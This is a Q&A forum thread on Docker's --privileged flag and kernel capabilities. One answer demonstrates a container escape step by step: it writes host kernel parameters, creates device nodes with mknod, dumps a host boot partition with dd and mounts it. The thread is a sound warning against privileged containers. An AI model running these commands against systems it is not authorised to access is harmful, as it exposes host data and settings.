Privileged containers and capabilities

If I am running a container in privileged mode, does it have all the Kernel capabilities or do I need to add them separately?

Running in privileged mode indeed gives the container all capabilities. But it is good practice to always give a container the minimum requirements it needs.

The Docker run command documentation refers to this flag:

> Full container capabilities (--privileged) > > The --privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-cases, like running Docker within Docker.

You can give specific capabilities using --cap-add flag. See [man 7 capabilities][1] for more info on those capabilities. The literal names can be used, e.g. --cap-add CAP_FOWNER.

[1]: http://linux.die.net/man/7/capabilities "man 7 capabilities"

You never want to run a container using --privileged.

I am doing this on my laptop which has NVMe drives, but it will work for any host:

docker run --privileged -t -i --rm ubuntu:latest bash

First lets do something minor, to test the /proc file system

From the container:

root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness    
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60

OK, did it change it for the container or for the host?

$ cat /proc/sys/vm/swappiness
61

OOPS! We can arbitrarily change the hosts kernel parameters. But this is just a DOS situation, lets see if we can collect privileged information from the parent host.

Lets walk the /sys tree and find the major minor number for the boot disk.

Note: I have two NVMe drives and containers are running under LVM on another drive

root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev
259:2

OK, let's make a device file in a location where the dbus rules won't auto scan:

root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2
root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1 
label: gpt
label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E
device: /devnvme1n1
unit: sectors
first-lba: 34
last-lba: 2000409230
<SNIP>

OK, we can read the bootdisk, lets make a device file for one of the partitions. While we can't mount it as it will be open we can still use dd to copy it.

root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3
root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img
532480+0 records in
532480+0 records out
272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s

OK, lets mount it and see if our efforts worked!!!

root@507aeb767c7e:/# mount -o loop foo.img /foo
root@507aeb767c7e:/# ls foo
EFI
root@507aeb767c7e:/# ls foo/EFI/
Boot  Microsoft  ubuntu

So basically any container host that you allow anyone to launch a --privileged container on is the same as giving them root access to every container on that host.

Unfortunately the Docker project has chosen the trusted computing model, and outside of auth plugins there is no way to protect against this, so always err on the side of adding needed features vs. using --privileged.

There is a good article from RedHat covering this.

While docker container running as "root" has less privileges than root on host, it still may need hardening depending on your use case (using as your development environment vs shared production cluster).